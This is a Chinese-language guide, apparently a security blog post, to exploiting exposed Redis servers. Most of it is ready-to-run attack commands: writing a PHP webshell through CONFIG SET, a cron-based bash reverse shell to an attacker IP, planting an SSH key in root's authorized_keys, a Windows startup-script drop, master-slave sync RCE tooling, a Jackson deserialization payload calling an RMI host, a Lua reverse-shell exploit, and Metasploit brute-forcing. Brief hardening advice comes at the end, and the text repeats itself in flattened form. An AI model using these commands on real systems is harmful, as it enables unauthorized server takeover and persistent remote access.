Redis漏洞利用
字数 1265 2025-08-15 21:30:51

Redis漏洞利用全面指南

1. Redis简介与基本配置

Redis是一个开源的key-value存储系统,支持多种数据结构:

  • 字符串(string)
  • 链表(list)
  • 集合(set)
  • 有序集合(zset)
  • 哈希(hash)

默认端口:6379

环境搭建

Windows环境

  1. 下载地址:https://github.com/microsoftarchive/redis/releases
  2. 修改配置文件redis.windows.conf:
    bind 0.0.0.0
    protected-mode no
    
  3. 启动服务:
    redis-server.exe redis.windows.conf
    

Linux环境

  1. 下载地址:http://download.redis.io/releases/redis-6.0.1.tar.gz
  2. 编译安装:
    wget http://download.redis.io/releases/redis-6.0.1.tar.gz
    tar xzf redis-6.0.1.tar.gz
    cd redis-6.0.1
    make
    cp src/redis-server /usr/bin/
    cp src/redis-cli /usr/bin/
    cp redis.conf /etc/
    
  3. 修改配置同Windows

2. Redis常见漏洞利用方式

2.1 写入Webshell

适用环境:Windows/Linux

前提条件

  1. 目标存在Web目录
  2. 已知Web绝对路径
  3. 有写入权限

利用步骤

config set dir "C:/phpstudy_pro/WWW/web"
config set dbfilename info.php
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save

注意:\r\n\r\n用于换行,避免Redis自带版本信息影响执行

2.2 计划任务反弹Shell

适用环境:CentOS

前提条件:有写入计划任务的权限

利用步骤

  1. 攻击机监听端口:
    nc -lvp 8899
    
  2. Redis操作:
    config set dir /var/spool/cron
    set tide "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/x.x.x.x/8899 0>&1\n\n"
    config set dbfilename root
    save
    

注意:此方法在CentOS有效,Ubuntu/Debian可能因乱码问题失败

2.3 写入SSH公钥

适用环境:Linux(开启SSH密钥认证)

前提条件

  1. Redis以root权限运行
  2. 目标开启SSH密钥登录

利用步骤

  1. 生成密钥对:
    ssh-keygen -t rsa
    
  2. 准备公钥文件:
    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
    
  3. Redis操作:
    cat key.txt | redis-cli -h x.x.x.x -x set tide
    redis-cli -h x.x.x.x
    config set dir /root/.ssh
    config set dbfilename authorized_keys
    save
    
  4. 连接SSH:
    ssh -o StrictHostKeyChecking=no x.x.x.x
    

2.4 Windows开机自启

适用环境:Windows

利用步骤

config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
config set dbfilename shell.bat
save

3. 高级利用技术

3.1 Redis主从同步RCE

影响版本:Redis 4.x-5.0.5

利用步骤

  1. 下载工具:
    git clone https://github.com/Ridter/redis-rce.git
    git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
    
  2. 编译模块:
    cd RedisModules-ExecuteCommand/
    make
    
  3. 执行攻击:
    python redis-rce.py -r 目标IP -L 本机IP -f module.so
    

3.2 反序列化RCE

原理:篡改Redis中的序列化数据,触发反序列化漏洞

常见序列化类型

  • Jackson:关注JSON数组第一个元素是否像类名
  • Fastjson:关注是否有@type字段
  • JDK:检查value是否为base64编码

Jackson反序列化利用示例

set nuoyan "[\"com.zaxxer.hikari.HikariConfig\",{\"metricRegistry\":\"rmi://x.x.x.x:1098/jndi\"}]"

3.3 Lua虚拟机RCE

适用环境:低版本Redis的Lua虚拟机

利用步骤

  1. 下载exp:https://github.com/QAX-A-Team/redis_lua_exploit/
  2. 修改目标IP并运行
  3. 执行命令:
    eval "tonumber('/bin/bash -i >& /dev/tcp/172.16.100.61/9999 0>&1', 8)" 0
    

4. 密码爆破

使用Metasploit模块:

auxiliary/scanner/redis/redis_login

5. 安全加固建议

  1. 禁止使用root权限启动Redis服务
  2. 启用密码认证
    requirepass 复杂密码
    
  3. 限制访问IP并更改默认端口
  4. 保持Redis版本更新

参考资源

  • https://www.freebuf.com/column/158065.html
  • https://xz.aliyun.com/t/5665
  • https://paper.seebug.org/1169/
  • https://www.anquanke.com/post/id/151203/
Redis漏洞利用全面指南 1. Redis简介与基本配置 Redis是一个开源的key-value存储系统,支持多种数据结构: 字符串(string) 链表(list) 集合(set) 有序集合(zset) 哈希(hash) 默认端口 :6379 环境搭建 Windows环境 下载地址:https://github.com/microsoftarchive/redis/releases 修改配置文件redis.windows.conf: 启动服务: Linux环境 下载地址:http://download.redis.io/releases/redis-6.0.1.tar.gz 编译安装: 修改配置同Windows 2. Redis常见漏洞利用方式 2.1 写入Webshell 适用环境 :Windows/Linux 前提条件 : 目标存在Web目录 已知Web绝对路径 有写入权限 利用步骤 : 注意: \r\n\r\n 用于换行,避免Redis自带版本信息影响执行 2.2 计划任务反弹Shell 适用环境 :CentOS 前提条件 :有写入计划任务的权限 利用步骤 : 攻击机监听端口: Redis操作: 注意:此方法在CentOS有效,Ubuntu/Debian可能因乱码问题失败 2.3 写入SSH公钥 适用环境 :Linux(开启SSH密钥认证) 前提条件 : Redis以root权限运行 目标开启SSH密钥登录 利用步骤 : 生成密钥对: 准备公钥文件: Redis操作: 连接SSH: 2.4 Windows开机自启 适用环境 :Windows 利用步骤 : 3. 高级利用技术 3.1 Redis主从同步RCE 影响版本 :Redis 4.x-5.0.5 利用步骤 : 下载工具: 编译模块: 执行攻击: 3.2 反序列化RCE 原理 :篡改Redis中的序列化数据,触发反序列化漏洞 常见序列化类型 : Jackson:关注JSON数组第一个元素是否像类名 Fastjson:关注是否有@type字段 JDK:检查value是否为base64编码 Jackson反序列化利用示例 : 3.3 Lua虚拟机RCE 适用环境 :低版本Redis的Lua虚拟机 利用步骤 : 下载exp:https://github.com/QAX-A-Team/redis_ lua_ exploit/ 修改目标IP并运行 执行命令: 4. 密码爆破 使用Metasploit模块: 5. 安全加固建议 禁止使用root权限 启动Redis服务 启用密码认证 : 限制访问IP 并更改默认端口 保持Redis版本更新 参考资源 https://www.freebuf.com/column/158065.html https://xz.aliyun.com/t/5665 https://paper.seebug.org/1169/ https://www.anquanke.com/post/id/151203/